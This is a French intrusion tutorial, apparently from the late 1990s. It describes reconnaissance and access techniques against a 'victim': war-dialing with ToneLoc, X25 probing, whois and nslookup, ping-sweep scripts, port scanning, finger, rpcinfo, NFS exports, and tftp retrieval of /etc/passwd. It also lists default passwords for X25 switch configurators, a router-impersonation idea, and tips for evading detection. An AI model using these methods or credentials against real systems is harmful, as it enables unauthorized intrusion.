  • Ce document n'a pas la pretention de tout connaître, d'ailleurs nous attendons de votre part des remarques et des suggestion, sa vie est de courte durée, au vu de l'intense activité qui se déroule actuellement dans ce secteur. C'est pourquoi il sera mis a jour a chaque nouvelle information que nous recevrons.

Depuis quelques temps, c'est la sérenade dans la presse informatique et nationale sur les nouveaux 'hackers', pardon 'consultants en sécurité' serait plus adéquat, qui font des essais d'intrusions, ils sont rénumérés pour hacker et tester la securité informatique ! Derrière le terme 'hacker' il y a des competences en techniques simples : une bonne connaissance de l'informatique TCP/IP, Unix, un ou deux langages de programmation (de preference C et Perl) et un esprit souple.

La Technique de l'intrusion demande surtout de savoir lire les faq des groupes de hackers américains, puisqu'il n'en existe pas réellement en français. Pour le plaisir des petit et des grands, nous allons découvrir le monde merveilleux de l'intrusion.



Approche

Notre approche consiste à attaquer selon 3 axes et en 3 phases. Les 3 axes :
  • RTC pour détection de porteuse et de modems non déclarés
  • X25 pour essayer de trouver des accès gros systèmes SNA/DSA ou decnet, ou des routeurs IP/X25
  • Internet pour détecter les points d'entrée
Les 3 phases outre une phase de récupération d'outils doivent permettre :
  1. la récupération d'un maximum d'adresses IP, de numéros de téléphone, de numéro X25, d'adresses e-mail, etc. et d'infos de configurations (voir hackoff3 sur le 'Social Engineering')
  2. l'utilisation des infos recueillies lors de la phase 1 pour accéder à des machines et/ou des réseaux de la victime
  3. l'attaque des machines



Préliminaire : Le matos

Il faut disposer des équipements suivants :

  • un modem RTC classique,
  • une carte X25/X32, l'abonnement correspondant, les couches TCP/IP, PAD, etc. ainsi qu'un kit de développement TCP,
  • une carte NUMERIS
Pour les OS, de LINUX ou de FreeBSD.
Pour les OS Win32, les soft pour le hack sont sous dimensionnés, donc on utilisera plutôt Win 3.11 ou Linux.


Phase 0 : récupération d'outils et configuration des machines

Les outils sont différents selon les axes d'attaques et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS le plus simple pour réaliser ce type d'opération car la quasi-totalité des outils sont standards et peuvent être automatisés dans un shell script.

Attention : Autant, il est " facile " de communiquer vers un provider sous W3, W95 et Windows NT, autant cela n'est pas simple sous LINUX.

Axe RTC

Outils standard

Emulateur de terminal Chez www.tucows.com
Emulateur Minitel En general fourni avec le modem (voir site constructeur)

Outils spécifiques

Dialer TONELOC Automate d'appel d'une plage de numéro et détection de porteuse (fax ou modem)
Dialer NUAA Automate d'appel de réseau X25 en particulier SprintNet.
Pabxhack Comme son nom l'indique, outil de hacking de pabx.

Dispo en telechargement sur des sites underground repondant au mot-clé phreaking dans les moteurs de recherche.



Phase 1 : récupération d'informations

Principe de base

Ce qui distingue cette phase de la suivante, c'est que toutes les opérations réalisées sont totalement licites. Il ne s'agit que de récupération d'informations disponibles sur Internet ou ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels des plages d'un autocom) sont limites.

Source d'informations "ponctuelles"

Les sources d'informations ponctuelles peuvent être multiples (carte de visite obtenues de différentes manières (visite commerciale chez la victime, annuaire, Minitel, informations recueillies par echanges, etc.). Elles ont pour objectif de récupérer :

  • des numéros de téléphone (même préfixe Tel et Fax ==> Plage de n° PABX pour le dialer)
  • des adresses E-Mail ( connectivité internet + nom de domaine)
  • des adresses Internet (nom de machines et @IP)
  • des adresses X25 (C'est la seule source pour les @X25)
  • des informations plus générales sur la victime, ses interconnexions, etc.

Source d'informations techniques

Axe Internet

Les sources d'informations techniques peuvent être soit immédiatement obtenues par des informations "publiques" sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en fonction des résultats du chapitre précédent.

Récupération d'informations par internet

Récupération des adresses IP officielles dans l'annuaire DNS avec "whois", "nslookup" et "dig ". Utilisation des vecteurs classiques (moteurs de recherche, news via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des domaines de messagerie ou des serveurs web.

1. L'annuaire DNS mondial

    • Whois

      Whois est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs . L'outil "whois" est disponible sous Linux (filewatcher.org)
      Avec cet outil, on peut :
      • lui passer une chaine de caractère et il vous sort la liste des noms de domaine DNS commencant par cette chaine de caractère . A partir de ces noms de domaines, il faut faire une seconde recherche pour avoir des informations plus précises,
      • lui passer une adresse de réseau de classe C, B ou même A (192.93.10.0 ou 141.29.0.0 par exemple) pour savoir à qui elle est allouée.

    Un nombre important d'adresses IP européennes est aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net" permet de récupérer des infos mais il n'est pas aussi souple sur les caractères de substitutions que celui d'internic.

    mettre un exemple de whois

    Selon les cas, on trouve soit des adresses IP de réseau (le pied) soit des noms de réseaux. Si on obtient des noms de réseaux uniquement, il y a de forte chance pour que le site ne soit pas directement connecté à internet mais uniquement via un provider et en connexion à la volée

    A contrario, ce n'est pas parce que l'on obtient une adresse IP que la société est réellement connectée sur Internet. Elle peut avoir simplement réservé cette adresse pour un usage futur.

    On doit donc utiliser dans cet outil :

    • le nom de la société et de ses filiales (ou des noms intermédiaires),
    • les noms de réseaux et de machines identifiés lors de la phase de récupération d'informations ponctuelles (e-mail, news, etc.),
    • les adresses de classe C ou B pour savoir à qui elles appartiennent (en les suffixant de 1 ou de 2 zéro.)
    L'usage de l'outil est bien entendu récurant en fonction des nouvelles infos dont on peut disposer.

    Remarque :
    Dans certains cas lorsque l'on cherche à qualifier l'appartenance d'une classe C ou d'une classe B, le site standard (rs.internic.net) nous fournit des plages d'adresses en précisant que ces plages ont été allouées à des organismes autres (plages RIPE en europe par exemple). Dans la plupart de ces cas, il est précisé un autre site qui donnera des informations complémentaires (whois.ripe.net par exemple).

    • Netfind
    Netfind est un outil disponible sur le site internic et accessible en HTTP via une URL gopher. Netfind permet d'effectuer des recherches sur les domaines de messagerie. Ces recherches sont complémentaires de celles réalisées avec Whois. L'URL à accéder est :

    gopher://ds1.internic.net:4320/7netfind%20dblookup

    C'est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs .

    • Nslookup
    "nslookup" est l'outil de base UNIX pour récupérer des informations au travers de DNS lorsque l'on connait le nom DNS de la machine ou son adresse IP. Il permet d'obtenir différents types d'informations en paramétrant la demande. L'objectif de son usage est d'obtenir des adresses IP là ou whois nous avait donné des noms de réseaux d'une part et d'obtenir des informations permettant de relancer un whois sur les passerelles de messagerie identifiées dans les e-mail. "nslookup" est disponible sous plusieurs OS. Il est par contre rarement paramétrable sous Windows NT ou 95. J'utilise donc les versions Windows pour des requêtes simples et UNIX pour les requêtes plus détaillées. La requete de base nslookup permet de récupérer l'adresse IP d'une machine (ou d'un nom de réseau) dont on connaît le nom. Cela s'obtient sous unix en mode commande en lancant :
    • nslookup nom_de_machine
    Nslookup permet d'autres informations en utilisant le paramétre "-query". La commande est alors :
    • nslookup -query=xxxx nom_de_machine
    ou xxxx peut prendre les valeurs (je ne détaille que celles que j'ai utilisées) :

     A		valeur par défaut, adresse/nom DNS ou inverse
    MX informations sur le serveur de messagerie (issu des e-mail)
    UINFO information sur les utilisateurs (jamais de réponse !)
    HINFO information sur le type de HOST (s'il est déclaré)
    MINFO information sur le mail server et la mailbox (s'il y en a)
    WKS les well-knowns servis sur la machine (s'ils sont déclarés)
    TXT un texte complémentaire s'il en existe un
    Les autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY (qui ne marche pas). Pour plus de détail, cf. Man nslookup et rfc1035.

    Remarque :
    nslookup renvoie soit une adresse IP (passage au point suivant), soit un message d'erreur du type "host unknown'", la machine ou le réseau ne sont pas connecté sur internet, ou un message d'erreur du type "no record Adress (A) dispo". Il s'agit alors très fréquemment d'une passerelle de messagerie dont on obtient les caractéristiques via le paramètre "-query=mx".

2. Les moteurs de recherches
    (liste trouvée par exemple à "http://ireste.ireste.fr/moteurs/" ou directement sur l'un des moteurs (www.yahoo.fr, www.lycos.com, etc.). On cherche alors le nom de la société pour identifier les endroits ou elle est citée sur le net. On obtient alors soit des noms de sites WEB, soit des noms ou des e-mail d'utilisateurs de la société.

3. Les news

    dans lesquelles des personnes de la société ont pu déposer des demandes ou effectuer des réponses. les news sont par exemple accessibles au travers d'un site web comme "www.dejanews.com".

4. Les annuaires d'email.

    Aujourd'hui nous utilisons :

    • www.four11.com qui permet de rechercher les utilisateurs ayant ne email par société (il y a un champ société dans la grille de saisie des paramétres de recherche). On obtient une liste d'emails dont on extrait le domaine :
    Joseph Abdallah                            @lanl.gov
        CURRENT ORGANIZATION:  T-4 Atomic And Optical Theory
     Raj Acharya                                @vaxd.gat.com
        CURRENT ORGANIZATION:  General Atomics
    • "http://www.nova.edu/Inter-Links/netfind.html" permet d'obtenir la liste des domaines de messagerie d'une société en passant en paramètre "* Nom_de_société". On obtient une liste des domaines d'email. Sous la forme :
    Nom_du_domaine_de_messagerie Nom & adresse de la société correspondante
    • une fois cette phase terminée, il faut retourner à la phase 1 pour vérifier si les domaines de messagerie sont reliés à des domaines DNS (via whois) ou à des machines IP (nslookup standard) ou enfin à des passerelles de mail uniquement (via nslookup -query=mx). On qualifie ensuite toutes les adresses obtenues pour savoir si elles appartiennent ou non a la victime (whois sur l'adresse de réseau de classe B ou C).
    Attention :
    Les domaines d'email sont surement l'un des moyens les plus efficaces pour trouver des adresses gérées par des providers ou des sites qui n'ont pas le nom des sociétés de la victime dans leur nom.



Axe RTC : Recherche de Modem

Utilisation du dialer MSDOS TONELOC pour détecter les porteuses de modems.

Une recherche de modem peut être envisagée dès lors que l'on connaît des numéros ou des plages de numéros correspondant à la société cible. Cette méthode ne garantit aucunement l'exhaustivité de la recherche puisque les modems sont souvent accessibles au travers de numéros analogiques qui ne sont pas gérés par le PABX. Une recherche plus efficace peut être envisagée en parcourant exhaustivement les plages utilisées sur le site géographique de la cible. Il est par contre impossible dans ce cas d'être sûr que les numéros sur lesquels une porteuse est détecté appartiennent bien à la cible. Cela pose un problème financier (si des particuliers sont appelés, ils décrocheront et la communication deviendra payante).

Les contraintes

Le coût
Le coût d'un appel qui aboutit est a priori faible. Le nombre d'appels peut cependant conduire à un coût global important. Et ceci d'autant plus s'il s'agit d'appels longue distance. On peut dire qu'un appel aboutit dès lors qu'il y a décrochage à l'autre bout de la ligne : une personne, un modem ou un fax, un répondeur. La durée de la communication peut être variable suivant l'équipement qui décroche. Il est dans tous les cas probable qu'il y ait raccrochage avant d'atteindre une minute. Les communications vers certains pays peuvent quand même atteindre 20F / minute. Pour minimiser le coût, il est donc souhaitable d'avoir le moins possible de décrochages, et notamment de décrochages par des personnes (qui contrairement aux machines peuvent trouver ça louche). Ceci conduit à privilégier des compositions de nuit, ou de jour lorsqu'il n'y a personne , c'est à dire samedi, dimanche, ou les jours fériés.

Le temps
Pour chaque numéro appelé, il faut compter le temps de composition du numéro, et le temps d'attente avant raccrochage (durée au bout de laquelle on estime qu'il n'y aura pas de réponse). Sur la base raisonnable d'une trentaine de secondes pour chaque numéro, il est possible de composer une centaine de numéros à l'heure, soit de l'ordre de 1200 numéros entre 19h et 7h.

garantie de résultat
L'exhaustivité des identifications (dans la limite des plages auxquelles on applique la recherche) est dépendante

  • de la bonne détection de l'éventuel plantage du modem
  • du fait que les modems que l'on recherche ne sont pas éteints manuellement (extinction), automatiquement (programmation horaire de l'alimentation électrique) ou logiciellement (programmation du modem par la machine à laquelle il est relié pour qu'il ne réponde pas aux appels),
  • de la configuration nocture du PABX, qui peut en fonction de l'heure dérouter les appels vers le standard (pour toutes les lignes ou pour certaines seulement), ou rendre certains numéros inaccessibles.
Indications :
Les numéros correspondant à des fax (notamment celui que l'on trouve avec le numéro du standard) peuvent donner des plantage du modem. C'est relativement aléatoire puisque l'on ne peut préjuger de quand ces numéros seront composés, et quand on aura des problèmes de détection.

Utilisation de toneloc

Ce programme sait gérer le parcours automatique de plages de numéros, en identifiant des porteuses ou des tonalités. La deuxième fonctionnalité est probablement inintéressante en France, au moins dans notre contexte. Une présentation rapide du paramétrage de ce produit est fournie en annexe 1.

Caractéristiques
La définition d'une plage est faite en adjoignant un ou plusieurs X à un préfixe, et en spécifiant pour les chiffres manquants des valeurs de départ et de fin. Il est possible de définir des contraintes horaires pour l'exécution de toneloc. Les commutateur /s et /e permettent en effet de définir une heure de début et une heure de fin. Toneloc lancé avec l'option /s attendra l'heure spécifiée pour composer le premier numéro, sauf si la touche Esc est tapée. Le programme arrêtera de composer des numéros dès qu'il aura dépassé l'heure spécifiée avec le commutateur /e, et ne composera aucun numéro s'il est lancé alors que cette heure est dépassée. Attention cependant au cas où l'on spécifie une heure d'arrêt dans la matinée pour un programme lancé le soir. Il semble en effet que, l'heure nocturne étant postérieure à l'heure d'arrêt (prise dans la même journée), que le programme ne se soit pas exécuté plusieurs fois. Toneloc sait prendre en compte une liste noire dans laquelle on recensera les numéros qui ne doivent pas être composés (celui du standard pourrait y être mis systématiquement, ce qui évite qu'un gardien ne s'étonne la nuit) Le parcours peut être incrémental ou aléatoire, cette seconde option réduisant les risques de détection (cela aura tendance à sonner dans n'importe quel endroit du site, et pas deux fois de suite sur des postes situés au même endroit). La configuration de Toneloc est gérée par un outil tlcfg. On y configure notamment les chaînes d'initialisation du modem, le numéro de port utilisé, le délai avant raccrochage et le format plus ou moins prolixe d'enregistrement des connexions réussies.

Toneloc produit trois fichiers différents lorsqu'il s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé des porteuses, sinon deux fichiers seulement). Ce sont :

  • tone.log : log des essais, avec en-tête, notification des porteuses éventuelles, et bilan,
  • found.log : enregistrement de ce qu'envoie le modem distant (bannière par exemple) sans, puis avec titillement (envoi de caractères par toneloc), des caractéristiques de la connexion, et le cas échéant du nombre de secondes écoulées avant coupure de la communication
  • préfiXXX.dat, au format binaire, qui permet une visualisation par tonemap des résultats concernant la plage parcourue, et qui est utilisé par toneloc pour ne pas recomposer un numéro déjà appelé.
Lorsque ces fichiers existent déjà, toneloc ajoute à la fin des .log, et complète le contenu du .dat

Limitations de toneloc :

  • Il a été constaté que toneloc ne détecte pas les porteuses de certains fax. le faible nombre de modems recensés pourrait laisser penser qu'il en va de même pour les porteuses de certains modems.
  • Les capacités de détection sont clairement dépendantes des caractéristiques du modem utilisé (un modem V32 ne détectera pas bien la modulation d'un V34bis si ce dernier ne connecte qu'à 33600 bps).
  • Indépendamment de cela, il n'est pas impossible que les détections soient fonction du modèle de modem utilisé. De ce fait, l'utilisation de modems différents pourrait permettre un meilleur recensement, au prix toutefois d'un multiple parcours des plages.
  • L'existence de numéros à taille variable dans certains pays, comme l'Allemagne, pose un problème avec toneloc.
  • Il semble que le programme de fusion de deux .DAT relatifs à la même plage ne soit pas complètement fonctionnel. Il faut donc réutiliser les mêmes .DAT lorsque l'on parcourt des plages contiguës.
Choix des plages
Si l'on connaît un préfixe, il faut être particulièrement méfiant. La cible ne détient pas forcément tous les numéros correspondant à toutes les valeurs de suffixe. Il faut dans ce cas valider manuellement en procédant par encadrement de la plage. Si l'on dispose d'un ensemble de numéros (tirés d'un annuaire), il faut vérifier qu'ils partagent un même préfixe, puis rechercher les plus grand et plus petit numéros alloués. On en déduit alors une plage en arrondissant au dessus et au dessous. Cette plage est alors très sûre (sauf si elle se fonde sur des informations périmées), mais peut très bien ne constituer qu'une fraction de la véritable plage gérée par l'autocommutateur. dans tous les cas, il est intéressant de valider la faisabilité de la recherche sur cette plage

Astuces sans garantie

  1. privilégier les jours fériés car il est plus vraisemblable qu'il ne soient pas gérés différemment des jours ouvrés par le PABX
  2. privilégier les périodes de vacances.
Exemple de résultat d'un TONELOC
Les informations sont obtenues suite aux passages de l'outil TONELOC pour détecter des porteuses. On détecte donc un certain nombre de modem qui répondent. Le résultat typique d'un toneloc est :
04:26:10 "
04:26:10 ToneLoc v1.10 (Sep 29 1994)
04:26:10 ToneLoc started on 13-Mar-97
04:26:10 Using COM1 (16450 UART)
04:26:10 Data file: 011234567X.DAT
04:26:10 Config file: TL.CFG
04:26:10 Log file: TONE.LOG
04:26:10 Mask used: 011234567X
04:26:10 Range used: 0-9
04:26:10 Scanning for: Carriers
04:26:10 Initializing Modem ... Done
04:28:21 0112345675 - Timeout (3)
04:29:01 0112345670 - Timeout (0)
04:27:32 0112345671 - * CARRIER *
04:28:21 0112345674 - Timeout (3)
04:29:01 0112345676 - Timeout (0)
04:28:21 0112345672 - Timeout (3)
04:29:01 0112345679 - Timeout (0)
04:29:01 0112345673 - Timeout (0)
04:28:21 0112345678 - Timeout (3)
04:29:01 0112345677 - Timeout (0)

On y détecte donc un modem sur le n° 0112345671

A l'issu de ce travail (souvent répétitif environ 10000 appels pour 6 modems par exemple), on dispose donc de porteuses de modem(s). Ces porteuses vont pouvoir ensuite être accédées pour vérifier si le modem accepte les connexions entrantes.



Axe X25

Nous ne disposons pas de moyens technique pour récuperer des @X25. Donc à ce niveau le Social engineering prend toute son importance.


Phase 2 : Exploitation des informations recueillies

Principe de base

Attention, à partir de cette phase, toutes les opérations effectuées peuvent être interprétées à la limite comme une tentative d'intrusion. Elles ne sont par contre pas vraiment punissables par la loi.

Axe Internet

On dispose à l'issue de la phase 1 d'adresse IP de réseau ou de machines.

  1. vérifier qu'elles sont actives et qu'elles donc répondent au ping
  • Ping
Résumé : ping limité (-c x) sur toutes les adresses
l'outil ping est disponible sous UNIX et dans les autres OS.
Je l'utilise plutôt sous UNIX car il est plus facile de le paramètrer. Nous avons bricolé des outils qui permettent de grouper les ping. Ils sont à la base des shell-scripts. Nous avons deux versions :
  • Une version très rapide et simple. On crée une liste d'adresse sous vi, puis on écrit un mini-shell du type :
 for i in `$1`
 do
    ping -c 2 $i >> resultat &
    sleep 1
 done

Son principal inconvénient est de ne pas trier les résultats et de ne pas générer le fichier de base des adresses.

  • L'autre version, elle necessite la présence dans le répertoire courant d'un fichier 1-255 contenant 255 lignes numérotées de 1 à 255. Elle prend en paramétre le nom du fichier résultat et de la plage d'adresse à analyser. Elle s'appuie sur un shell script du type :
 echo " "           >  $1
 for i in `1-255`
 do
    echo $2.$i      >> $1
    ping -c 2 $2.$i >> $1
 done

Son principal inconvénient est de devoir être lancée en arriere plan pour gagner du temps et de générer un fichier résultat par adresse de classe C. Les différentes variantes sont liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit dans l'affichage des informations à l'écran avant de les stocker dans le fichier résultat (| tee -a ...)

ATTENTION, les schells scripts lancés en arrière plan ne doivent pas afficher de message donc eviter celui contenant les "tee".

L'exploitation des résultats peut-être réalisé soit à la main en visualisant le fichier (fastidieux) soit par des greps +/- automatisés. Je me suis arrêté à une suite de grep du style :

  • grep " 0%" $1
  • grep " 20%" $1
  • grep " 40%" $1
  • grep " 50%" $1
  • grep " 60%" $1
  • grep " 80%" $1
qui affiche si une ligne de résultat est différente du classique "packet lost 100%". Il faut alors se réferer au contenu du fichier pour savoir laquelle. Si un Kador du shell-script et du sed/awk fait mieux, merci. Les pourcentages possibles dépendent bien entendu du paramétre -c qui précise le nombre de paquets que l'on essaye de lancer avant de passer à l'adresse suivante. Je me suis basé sur 2 paquets, ce qui parait suffisant.

A la fin de cette phase, on est normalement à même de savoir si certaines machines de la victime sont accessibles sur Internet.

Attention, si une machine répond sur un sous-réseau, il est intéressant de repasser le ping sur toute la plage plusieurs fois. En effet, certaines machines peuvent ne pas avoir été branchées lors du premier passage ou n'avoir pas répondu à cause du time-out faible. Il faut également tenir compte du décalage horaire si nécessaire.

2.Regarder quels sont les services réseaux accessibles sur ces machines.

Les outils d'intrusion

tcp_scan et udp_scan sur les machines actives pour identifier les services disponibles Utilisation des couches actives publiques pour recueillir des informations (rpc, nfs, finger, ftp anonyme, smtp via telnet sur le port 25, etc.)

Cette opération peut s'effectuer à la main ou à l'aide d'outils complets comme SATAN, Nessus ou NMAP.

  • recherche des ports accessibles (tcp_scan et udp_scan).
Ces outils ne sont disponibles que sous UNIX. A priori, j'utilise les outils fournis avec SATAN et compilés sous LINUX. Ils sont stockés dans le répertoire bin de satan. On lance dont sur chacune des adresses de machine :
  • tcp_scan @IP_machine 1-65535 > resultat_machine
  • udp_scan @IP_machine 1-65535 >> resultat_machine
 On obtient alors la liste des services actifs tant en tcp 
 qu'en udp sous une forme du type :
 80:http
 23:telnet
 ...
 Certains services sont particuliérement utiles. 
 Il s'agit dans un premier temps de :
 69 : tftpd qui peut parfois permettre de récupérer
            le fichier /etc/passwd (récupérable uniquement
            avec udp_scan
 79 : fingerd qui permet d'obtenir des informations
            sur le site et les utilisateurs connectés
 80 :	httpd qui signifie que le site dispose d'un site web.
            L'accès à ce site web est un des moyens le plus sûr 
            de s'assurer que l'on attaque bien le bon site.
 111 : Le port mapper, la machine accepte des appels RPC 
            (NFS, YP, etc. sont interessants pour la suite)

Dans un second temps, des services comme smtp, telnet, ftp et rlogin permettent de se connecter à la machine.

  • recherche d'informations si un port 79 (finger) est présent :
Finger est une couche haute sur TCP qui permet de recueillir des informations sur les utilisateurs d'une machine. La partie cliente de finger est disponible sous la totalité des OS. J'utilise soit la version UNIX avec la possibilité de l'automatiser dans un shell-script (je n'en ai pas écrit pour cette fonction mais ça peut venir) et l'outil "iefinger" sous Windows 3.11 qui permet de lancer un batch sur plusieurs adresses. Dans un premier temps, on lance finger pour obtenir la liste des utilisateurs connectés sur la machine :
  • finger @IP_machine
on obtient une liste du type :

 Welcome to Linux version 2.2.7 at rasta.legang.fr !
 
   3:05pm  up 5 min,  3 users,  load average: 0.16, 0.13, 0.08
 
 Login       Name               TTY         Idle    When    Where
 toto     -  albert	      console        1  Thu 12:37  :0                  
 titi     -  Titi rené         pts/2         13 Mon 09:04  192.93.xxx.xxx      
 demo     -  Demonstration     pts/4         18 Mon 09:09  192.93.yyy.yyy      
 ...
On y trouve les infos suivantes :
  • Le nom d'utilisateurs déclarés dans le /etc/hosts sur la machine,
  • les machines a partir desquelles ils sont capables de communiquer avec la machine (ce qui nous donne d'autres @IP et donc une indication sur la connectivité de la machine vers un réseau interne et de nouvelles cibles => retour au nslookup pour les qualifier puis au ping),
  • des infos complémentaires parfois sur le type de machine (linux) son nom DNS/interne (rasta.legang.fr) , etc.
Dans un second temps, on lance finger pour obtenir des informations sur les utilisateurs eux-même :

  • finger nom_user@IP_machine
On obtient une liste du type :

Welcome to Linux version 2.0.0 at rasta.legang.fr !
 
   3:10pm  up 10 min,  4 users,  load average: 0.04, 0.09, 0.07
 
 Login: test           			Name: test passwd
 Directory: /home/test               Shell: /bin/bash
 On since Wed Jul  9 15:08 (MET DST) on tty3   1 minute 9 seconds idle
 No mail.
 Project:
 Je travaille sur le projet X
 No Plan.

Toutes les informations sur le champ gecos, les projets sur lesquels travaille l'utilisateur peuvent être utilisées dans une phase ultérieure d'agression. Parmi les utilisateurs, certains doivent être remarqués. par exemple, les utilisateurs "guest" ou "demo" qui n'ont fréquemment pas de mot de passe ou les comptes de produits (ingres, informix, etc.) qui ont fréquemment des mauvais mots de passe.

  • Récupérer des informations sur les RPC disponibles si le port mapper est lancé
la commande "rpcinfo" permet d'obtenir la liste des service RPC servis via le portmapper. Ces informations doivent être stockées pour un usage futur. la commande est :
  • rpcinfo -p @IP_machine
 program vers proto   port
     100000    2   tcp    111  portmapper
     100000    2   udp    111  portmapper
     100005    1   udp    704  mountd
     100005    1   tcp    706  mountd
     100003    2   udp   2049  nfs
     100003    2   tcp   2049  nfs
L'un des points importants concerne la détection de NFS (nfsd, mountd dans les services). Un autre type de service doit être remarqué, l'usage de NIS et des yellows pages (yp). Je vous conseil d'utiliser un autr OS que linux, il existe beaucoup de problème de compils et d'utilsation de yp sur Linux, on peut via ces services optenir la map du yppasswd et des autres fichiers gérés par NIS (outil ypsnarf, ypghost, etc.).

  • Récupérer des informations sur les partitions NFS exportées
La commande "showmount" permet de savoir si des partitions NFS sont accessibles et pour quelles machines. Ces informations doivent être stockées pour un usage futur. La commande est :

showmount -e @IP_machine
 Un résultat du type :
 Export list for 127.0.0.1:
 /home (everyone)
signifie que la partition /home est exportable pour toutes les machines sur internet. Plus fréquemment, on trouve un répertoire exportable vers des machines désignées. Si elles appartiennent au client, on sait que si on les cracke, on aura la possibilité de monter les répertoires correspondant sur une autre machine et ainsi de suite.
  • Se connecter sous ftp en connection anonyme et regarder ce que l'on trouve comme infos.
Certains sites mettent en place un site ftp d'accès libre. S'il existe, il peut être une source d'information (la version du ftpd, le type de machine UNIX ou NT , un nom de compte oublié dans le /etc/passwd de la partition anonyme, les vrais mots de passe dans le même fichier mais faut pas réver !). la commande est :

ftp @IP_machine
user      anonymous
...  entrer votre E-Mail comme mot de passe ...
password  guest 
Résultat :
On dispose alors d'une liste d'adresse IP de machines qui répondent et des informations sur les couches réseaux actives sur ces machines. En ayant lancé soit le ftp, soit finger, soit le SMTP, on doit avoir également une idée des versions de ces différentes couches ainsi que le type d'OS des machines. On peut également avoir stocké des noms d'utilisateurs (finger, /etc/passwd du ftp anonyme, etc.). La plupart des OS et des couches ont des bugs connus et référencés dans les avis des CERTS US ou australiens

Remarque
Ici, je vous ai présenté différentes technique pour l'intrusion il en existe des centaines, souvent ephémères leur solution réside souvent dans l'application d'un patch, pour les secteurs d'actitvités qui possèdent un administrateur orienté sécurité, la porte est ouverte quelques heures. Et pour d'autres c'est portes ouvertes tous les jours ! Pour connaitre les dernières failles, une culture des DOS (Denial of Service) que je traduirai par trou de sécurité, doit se faire par une consultation des sites sur le sujets (www.antionline.com, www.rootshell si il vit encore... voir liens sur le site)



Axe X25

Les moyens d'accès à un réseau X25 sont variables :

  1. PAD public de TRANSPAC
  2. PAD privé de la cible
  3. PAD via X32
  4. accès X25 natif via LS
  5. accès X25 natif via Transpac
  6. accès X25 natif via X32 par le RTC
  7. accès X25 natif sur le canal D Numéris
Les outils dont nous disposons sont :

  • l'accès au travers d'un PAD public en facturation au demandé,
  • l'utilisation de notre accès X32 en facturation au demandeur (avec la possibilité sur cette carte de valoriser un champ USERDATA, d'utiliser IP sur X25 (non qualifiée), d'utiliser du PAD sur l'accès X32, de développer grace à l'API de la carte).

Nous sommes donc a priori capable d'émuler les moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible (c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen des accès dont nous disposons, il est possible d'atteindre (suivant leur configuration) des commutateurs, des routeurs ou des machines terminales. Il est possible également en spécifiant le contenu du champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD

  • connexion au PAD (ex 0836044444, 7E1)
  • éventuellement contrôle des paramètres : (PAR?), et modification si nécessaire (SET X:Y pour changer)
  • saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose), soit rejet (message de libération CLR XX YYY où XX est la cause et YYY le diagnostic) On peut en cours de communication repasser en mode commande en faisant ^P

Utilisation de la carte X32
  • La carte X32 est configurée . Il faut donc dans un premier temps lancer les services de réseau
  • Ensuite au travers de l'icone "test X25", on peut essayer différents types de connexions
  • Saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose), soit rejet (message de libération CLR XX YYY où XX est la cause et YYY le diagnostic) on peut en cours de communication repasser en mode commande en faisant ^P Mécanismes de controles possibles, par ordre de réalisation
Existence du correspondant
 	Si ce n'est pas le cas, message CLR NP YYY
 appartenance au GFA, effectué par le dernier commutateur TRANSPAC
 	message CLR NA YYY
 inhibition du PCV
 	message CLR RNA YYY
contrôle de l'adresse appelante par le commutateur de la cible
contrôle des données du paquet d'appel par le commutateur ou l'équipement terminal
contrôle en fonction de la sous adresse (qui suit les 9 chiffres) par le commutateur
dans les trois cas, rejet par le distant, souvent LIB DTE
Accès à des configurateurs
Les routeurs CISCO sont accessibles en PAD comme par telnet. Une access list peut être configurée pour contrôler les accès aux consoles virtuelles (les mêmes vtyX).

Les commutateurs X25 ont en général un configurateur accessible en PAD
Si l'on ne fournit pas de sous adresse, le comportement dépend de la configuration du commutateur et de leurs caractéristiques par défaut

marque sous adresse mot de passe divers
matracom gsy91 faire ^U pour voir la bannière
OST 9, 99, 999 bonjour ou hello
TRT Souvent des 9 CCLAER prompt = "*"

Quelques infos sur les commutateurs TRT, en vrac :

  • ils gèrent jusqu'à des sous adresse de 4 chiffres, de taille fixe
  • il y a padding à droite avec des 0, ou troncature des digits surnuméraires à droite
  • pas d'écho du mot de passe
  • divers services sont accessibles suivant le contenu du champ USER DATA
    • 10CC configurateur
    • 00GG générateur
    • 14SS statistiques
    • 04OO observation
    • O2EE événements remarquables
    • 12MM télémaintenance

Accès à des routeurs

En connaissant les adresses de deux routeurs communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni de contrôle de l'adresse de l'appelant, il doit être possible de se faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci donne donc un accès au réseau IP, et permet de plus d'usurper les adresses IP

Il est plus que vraisemblable que ceci ne soit réalisable que lorsque le routeur que l'on usurpe n'est pas en communication avec le routeur cible.

Quelques réserves (à valider) sont cependant à émettre. Il semble en effet que dans le cas des routeurs CISCO, les échanges se fassent sur des circuits virtuels ditincts, le routeur appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci pourrait peut être contourné en modifiant la configuration de la cible via SNMP.

La fraude dans le cas de SNA sur X25 semble encore plus complexe, car il est impératif de disposer d'un accès licitement défini dans la VTAM list, faute de quoi la communication ne saura s'établir.

Analyse des informations présentes dans la configuration d'un routeur

La connaissance de sa propre adresse X25 est probablement impossible, puisqu'il n'y a pas de raison qu'elle soit mentionnée dans sa configuration.
